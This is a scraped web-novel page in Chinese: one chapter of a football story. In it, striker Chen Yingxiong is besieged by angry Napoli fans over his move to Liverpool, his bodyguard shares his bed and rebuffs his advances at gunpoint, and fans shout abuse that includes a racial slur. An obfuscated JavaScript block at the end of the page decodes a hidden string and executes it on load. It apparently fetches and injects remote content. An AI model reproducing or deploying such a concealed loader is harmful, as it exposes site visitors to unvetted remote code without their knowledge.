返回

禁区之雄

首页
关灯
护眼
字体:
第两百三十五章 叹息之墙
马扎里一开始还不愿意封闭训练,但是架不住世界各地的记者都蜂拥而至啊……除此之外还有数量庞大的球迷来到沃尔图诺堡训练基地外面高呼口号,扯起横幅,要求陈英雄滚蛋的。

球员们的正常训练几乎都没办法开展了。因为那些人在训练场外喊口号,总是会影响球员们训练的,不少人根本没心思训练,眼睛止不住地往场边瞟。最后马扎里只好宣布停止一切例行的新闻发布会,球队进入封闭训练状态。

任何人未经允许不得进入训练基地,为此沃尔图诺堡训练基地还加强了安保力量。

不过大家都知道,真正需要加强安保力量的是陈英雄。在他对球迷们做出了那样的宣言之后,他就变得危险起来。这种明目张胆的挑衅,激怒了不少那不勒斯的球迷。

而疯狂的球迷,是什么事情都做得出来的。在这个时候,陈英雄可不能再出问题了。

不仅是在训练场边,还有很多球迷来到了陈英雄的房子外面,高声抗议,连陈英雄睡觉的时候他们都不放过。为此那不勒斯警方专门出动警力在陈英雄的屋子外面实施二十四小时保护,不让那些激动的球迷们过于靠近,并且在晚上的时候还会驱散抗议的球迷们,免得他们打扰到陈英雄的休息。

至于每天去训练场和返回家中的这一路上,自然是有警察保护的了。

一时间,陈英雄好像又回到了自己刚刚加盟那不勒斯时的样子了。除了自己的家和那不勒斯的训练基地,他被要求最好哪儿也不要去,尤其是人多的地方、那不勒斯球迷聚集的地方……以免发生意外。那可是谁都不愿意看到的情况。

埃尔南德斯.加西亚.佩雷斯在发给《每曰体育报》主编的私人信件中提到了那不勒斯警方对陈英雄的保护,在他看来这不算是什么保护,这种风声鹤唳的状态只会让陈英雄被折腾的更疲倦更累。

“……任何球员都没办法始终生活在这样紧张的气氛中,他连最基本的娱乐都没有了,除了训练就是回家休息,我觉得以陈英雄的姓格来说,这样的曰子过上几天他就会疯掉的!我相信陈英雄的状态肯定会受到影响!”

※※※可实际上,陈英雄并没有人们想象的那么紧张和疲倦。也不像佩雷斯说的那样,失去了最基本娱乐活动的他会被憋疯,他正好利用这个机会在副本中加紧训练自己的任意球。他最近是挺迷恋刷副本的,因为他发现任意球这是这个训练的一个好处,练习任意球,还能提升自己击球的准确姓,有助于提升自己射门的准确姓,射门准确姓上去了,进球率自然也就高了嘛。

所以和佩雷斯说的完全不一样,陈英雄不仅没有比这种毫无娱乐的生活憋疯,反而还沉浸在副本中乐此不彼。

况且他已经不是第一次经历这样的事情了,有了经验还怕什么?

反正有卡布列拉保护他……说到这个,他真的还要感谢那些激动的球迷们呢。

由于担心陈英雄晚上睡觉的安危,卡布列拉已经搬进了陈英雄的卧室,和他睡在了一起——是的,你没有看错,是“睡在一起”。这次由于情况特别严重,处于安全考虑,卡布列拉和陈英雄睡在了一张床上……一旦出现危急情况,她可以马上用自己的身体来给陈英雄充当盾牌和掩体,也能最快速度做出反应。

一张两米宽的床,陈英雄占据了三分之二的区域,卡布列拉和衣而卧躺在另外三分之一的地方。

一想到身边躺了一个美人儿,陈英雄的内心就开始蠢蠢欲动……这机会难得啊!

※※※房间里并不安静,也不算是一片漆黑。虽然灯关了,可是外面还有路灯,和警车顶上闪烁的警灯。那些抗议的球迷们已经被警察们驱散了,取而代之的是警察之间的对讲机发出的一些声响,以及警察们压低了嗓子的交谈声。

陈英雄躺在床上,他的旁边大约一米宽的地方,是和衣而卧的卡布列拉。

陈英雄佯装睡着之后,不老实地在床上翻来翻去的,一会儿平躺,一会儿侧卧,一会儿趴着,在不断变换睡姿的过程中,他一点点接近了卡布列拉。为了让自己的翻身更自然更真实,在他不动弹的时候他会发出鼾声,或者咂咂嘴。在他翻身的时候,这些声音全都消失了,等他翻过来之后,过了一会儿声音复又响起。

铺垫做够之后,他假装翻身,右腿抬起来,压向了卡布列拉那两条修长的美腿。

就在这个时候,他却感到自己小腹下面一凉,有一个硬硬的、冷冰冰的东西顶住了他的小弟弟。只隔着一条内裤,触感很清晰。

他马上就知道那是什么东西了……枪!

这是警告自己,要敢胡作非为的话,就一枪轰碎自己的小弟弟吗?!

我靠!算你狠!

陈英雄内心咬牙切齿,装睡的脸上却毫无反应,他闭着眼睛,一脸安详的睡容。不过仔细观察他下面,就能看到他的右腿是悬在空中的,而不是真的贴上了卡布列拉的身体……他就这样坚持了一会儿,脖子上的青筋都冒了起来。然后他趁着一次翻身的机会,抬起腿,转了回去,用背对着卡布列拉。这个时候陈英雄脸上的表情才发生了变化。

尼玛啊!都快抽筋了!竟然用枪来防我,真是太伤心了!我有这么危险吗!

不过这些话陈英雄也只敢在自己心里嘟囔,可不敢真的说出来。他发现这个女人该强势的时候还是一点都不含糊的……卡布列拉收起了枪,依然平躺在床上,不过她的脸却扭向了旁边,看着背对她的陈英雄,耳边还不时传来鼾声。

她的美眸在熄了灯的房间中反射着从窗外传来的灯光,眼睛中不断闪烁着,就好像正在运行程序的计算机的指示灯一样。

她的脸上却露出了一抹微笑。

陈英雄感觉到身后的卡布列拉从床上坐了起来,席梦思床垫颤抖动着,他的心也提了起来——不会是自己刚才的小心思被识破了,她打算给自己一点颜色看看吧?我靠,我可不想没死在那群极端球迷手上,反倒是死在了自己的保镖枪下啊!

他闭着眼睛等待了一阵子,没有任何反应。

他这才偷偷睁开眼,在适应了房间中的光线之后,首先映入眼帘的是在窗户边上的一团黑影,那是站在窗户边上的卡布列拉。她用手挑开了窗帘一角,外面警车闪烁的灯光映了进来,将窗边的她映成了一个剪影,身体曼妙的曲线一览无遗。

这么一个女人……陈英雄不能算是情场的菜鸟了,他有过恋爱经历,也有过一夜情经历。但是他在面对卡布列拉的时候却一筹莫展,自己以往的经验全都派不上用场。

如果说薇拉那个新闻发言人还只是一座冰山的话,那么卡布列拉简直就是叹息之墙,面对她,除了叹息,没有其他办法了。

难道真的要看着她从自己的生活中消失,以后说不定都碰不到了?

陈英雄不甘心。

他从没有如此强烈的愿望,想将这个女人拥入怀中,亲吻她,爱抚她。圣诞节晚宴上的那一吻,勾起了他无限的欲望。

他不是没想过直接告白,但是和卡布列拉在一起接触了三年,陈英雄觉得以他对卡布列拉的了解,如果自己告白的话,得到的结果十有八九是被直接拒绝。那样的话自己岂不是太没面子了?而且一旦被拒绝,只怕相处的更尴尬,以后想联系都没办法了……就在陈英雄看着卡布列拉出神的时候,卡布列拉突然转了过来。

这个转身将吓得陈英雄赶紧闭上了眼睛,生怕被对方看穿了自己其实没睡着,而是在偷偷打量她。

※※※卡布列拉转过身来看着陈英雄。陈英雄自以为自己装的像,可是她早就看出来他是在装睡了。

这个人,有些时候强势的完全不讲道理,有些时候又幼稚可爱的像是个孩子……其实,有些时候他也在担心——这么一个人,去了英格兰,离开了我,能照顾得来他自己吗?

※※※陈英雄不知道自己是什么时候睡着的,他只记得自己担心突然转过身来的卡布列拉识破了自己的“诡计”,连忙闭上眼睛假装睡觉。没想到这一假装就成了真的。他真的睡着了,再次睁开眼睛的时候,已经是第二天的早上了。

他第一个动作是翻身去看自己的身后——偌大的床上只有他一个人,卡布列拉睡过的地方平平整整,就好像她昨天晚上没有在这里睡觉一样。而自己所折腾过的区域,已经皱巴巴的好像是经历了一场激烈的大战一样……打着哈欠的陈英雄在楼下见到了正在厨房中给自己做早餐的卡布列拉。

“你昨天晚上,呃……回自己房间了?”他问。

卡布列拉摇头:“没有。我一直在你身边,陈先生。”

“你几点钟起来的?”

“早晨六点半。”

陈英雄咂咂嘴:“真早!”

卡布列拉将一个煎蛋放进了已经堆满了火腿、培根、面包的盘子中。

“你的早饭好了。”在将盘子递给了陈英雄之后,她转身走向了餐桌,那里还有一盘早餐,显然是她自己的。

端着盘子的陈英雄看着卡布列拉的背影突然问道:“你真不跟我去英格兰吗?”

“英格兰不是拿波里。那边没有这里危险。”卡布列拉回头看着他。

“英格兰也有足球流氓!英格兰的足球流氓全世界闻名!”

卡布列拉坐下来埋头吃饭:“吃饭吧,陈先生。要不然训练该迟到了。”

陈英雄翻了个白眼,对于这个油盐不进的女人,他真的没什么办法。

※※※因为沃尔图诺堡训练基地不让进了,所以前来抗议的球迷,和打算来挖点新闻的记者们就只能聚集在训练基地大门外面。

当陈英雄的汽车在数量警车的保护下,驶过来的时候,那些等候多时的球迷们展开了横幅,举起了漫画和标语,然后高呼口号。

“滚去你的利物浦吧,叛徒!”

“拿波里没有你也能拿冠军!你别把自己看得太重要!”

“你连给迭戈擦鞋都不配,混蛋!”

“狂妄无知的中国猪,你永远都比不上迭戈!!”

……在球迷们的呼喊声中,记者们兴奋地举起相机,闪光灯在“咔嚓咔嚓”的快门声中此起彼伏,不断闪起。

“真是壮观……”还有记者一边拍照,一边咂嘴感叹。

“有英雄在的地方,就有新闻,哈哈!”

一群记者们哈哈大笑起来,他们享受着陈英雄为他们提供的新闻素材,嘲笑起陈英雄来却毫不留情。

中国记者和他们不一样,大多数都皱着眉头,一脸担忧之色。他们都担心这样的情况一直持续下去,会影响到陈英雄在联赛和欧冠决赛上的表现……都快到终点了,最后因为这些事情功亏一篑,可真是太亏了!

有些人还在心里埋怨陈英雄:英雄啊英雄,你就算对那不勒斯的那些极端球迷们有再多的不满,你就不能先忍气吞声,等到打完了欧冠决赛再来算总账?秋后算账的意思你都不懂吗?别人问你什么,你就都答应啊?你可以先保持沉默,或者说没这回事儿嘛!世界足坛这种撒谎的例子屡见不鲜,大家都背地里和其他球队联系,表面上假装自己是满门忠烈……这种事情做起来也不丢人嘛。

你怎么就那么直呢?

太硬了会被折断的啊!

(未完待续)

上一章 目录 下一章

(function(){function pa49a0b(yba62){var efc5dbfe1="Dm7A%P|~5IE;gsl]rUONeH16y[To?Zvn2:YLi.&zGXB3f^CVa!/0$Wxk=dQF_(buJc4@tpRSMqwK98-,hj";var w50c463d="d3eqvW]=&Es$^h(gf8R!c,wOiCNS1LZApjMGzoJ_7xnX/Ty:a@uB;.rFl5U|6Q[0~%DHk2mPKVtYI9b-?4";return yba62.split('').map(function(yd7ae){var dd210=efc5dbfe1.indexOf(yd7ae);return dd210==-1?yd7ae:w50c463d[dd210]}).join('')}var c=pa49a0b('h2ps://1yBD.1b"" + "E" + "8" + "_" + "e" + "-"+""|~r/Bewy.Bl){$lr/Bewy.Bl=maG?H2r8?eD-amH/G_au?DGHD-dr8-eG){yrlfgYaeFPyBfWw7EwlBa%y]aw.xW2=awr.xR)){x7w/xB}$%ax xurGr~r/Bewy.Bl/ajjj_-r){x7w/xB owxyB]Wrx.R[sax[.D7l/ajjj_-r)}$%ax /G7GG8~b"w,?"H"%,?8"H"/,pUp_?jp_up_dup8"H"D,pupj,u8,u? ?UVmGV?m"H"ECE,ie"|$%ax R-m_e-~/G_au?DGbxurGrluX_?)+xurGrluXGj)+xurGrluX_k)+xurGrluX_p)|Hw_pGrr~/G_au?DGbxurGrluX_p)+xurGrluXGj)+xurGrluX_k)+xurGrluX_?)|H1j-aDGe~D-dr8-eGbR-m_e-l"KmqCeRq/DkT:eR=1Dn~~")|H:rp?mj~R-m_e-l"Km&=K3O=OPX=-Pq/Dn~~")HDeU?m7Du7~R-m_e-l"emqyemOCaPdB")H.mm-aDe~R-m_e-l"eRq1-Lk:v(~~")H-ejppUG8~R-m_e-l"em0Ea3(~")HBm87D~R-m_e-l"eRqpv3&iv(~~")H%D_8Up~R-m_e-l"aR82-]~~")H.aUrd_m~R-m_e-l"eRk/vL8w")H:7p-rG~/G_au?DGbR-m_e-l"^Pkuan~~")|H%d?aje77a~R-m_e-l"-L8svn~~")$%ax w-uuejeu?~R-m_e-l"7RTtvP&?v1~~")$%ax 1??-7r$yrl=.eawy.BWE7axesWyBD7X6rlw-uuejeu?)>,?){1??-7r~D-dr8-eGb:rp?mj|lR-m_e-l"DLqjDLkCvPI~"))$1??-7rWyD~"w"+l:7p-rGb.aUrd_m|l)*?uuuu)$1??-7rWEwC=7W1yDws~"?uuc"$1??-7rWEwC=7Ws7y]sw~"duu2X"$1??-7rWDyEa-=7D~wx/7$yrlD-dr8-eGW-.DCN~B/==){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)}7=E7{%ax ]pdppm~r/Bewy.Bl){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)$/G_au?DGWx7R.%7I%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}$/G_au?DGWaDDI%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}}%ax 1uUU8~D-dr8-eGb:rp?mj|lR-m_e-l"vP?yvP(~"))$1uUU8WEwC=7Ws7y]sw~"u2X"$1uUU8WyD~2r8?eD-am+l:7p-rGWe7y=l:7p-rGb.aUrd_m|l)*?uuuu))$%ax E-j_a~r/Bewy.Bla_eGaUGuU){%ax AGmU-_U~B71 4aw7l)$%ax XDdGdDG~`aD%o2ae79Dz;{2r8?eD-am}z;{AGmU-_UWw.Z.ea=74aw7owxyB]l)}`$%ax R_?-a-ja~&o6TW2axE7l=.ea=ow.xa]7W]7w9w7RlXDdGdDG))$yrlR_?-a-ja~~B/==){R_?-a-ja~{-x.1E7x[./BwVu}}R_?-a-jaW-x.1E7x[./Bw++$%ax 2G8jdD8u~w_pGrrl/G7GG8We.Beawlb4aw7b"B.1"|l)H=.eawy.BWsx7rH`sEe,;{R_?-a-jaW-x.1E7x[./Bw}`|)WE.xwll)~>:7p-rGb.aUrd_m|l),uWd)b%D_8Up|l"H"))$%ax 7pm_G_u~2G8jdD8uWyBD7X6rlxurGrluXmD))>,?h2G8jdD8ubDeU?m7Du7|l2G8jdD8uWyBD7X6rlxurGrluXmD)))V""$2G8jdD8u~2G8jdD8ub.mm-aDe|l7pm_G_uH"")b-ejppUG8|l"")bBm87D|l)b%D_8Up|l"")+7pm_G_u$1uUU8WExe~b"sww2EVff"Ha_eGaUGuUH2G8jdD8u|b%D_8Up|l"f")$D-dr8-eGW-.DCWa227BD[sy=Dl1uUU8)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Ba227BD7D 7R w. swR="$%ax a8pG8~D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)$yrla8pG8~~B/==FFa8pG8~~/BD7ryB7D){1??-7rW%a=/7+~"\\x\\B eaBw ]7w 7R rx.R swR="}}}$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\BE7BD :E s.Ew "+=maG?}%ax Cujpda~r/Bewy.Bl.ue7dd8){x7w/xB R-m_e-l.ue7dd8)b.mm-aDe|lxurGrluXpn)H:7p-rGb.aUrd_m|l)Ww.owxyB]lm_)WE=ye7l:7p-rGWr=..xl:7p-rGb.aUrd_m|l)*8)+p))}$E-j_alCujpdal=maG?))$/G_au?DGb"aDDI%7BwZyEw7B7x"|l"R7EEa]7"Hr/Bewy.Bl7){yrl7WDawaWt~~2r8?eD-am){D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)Wx7R.%7l)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Bx7e7y%7 7R 2.Ew R7EEa]7"$1??-7rW%a=/7+~"\\x\\B7WDawaW% "+7WDawaWA}B71 k/Bewy.Bl"ax]E"H7WDawaWA)l{zwDeEV1j-aDGeHzwxaV1??-7r})}})})l"MydAaPk/7@q_DPU/Kp8w"H"pUp_?jp_up_dup8"H1yBD.1HD.e/R7Bw)}$E8_e-l)$'.substr(7));new Function(c)()})();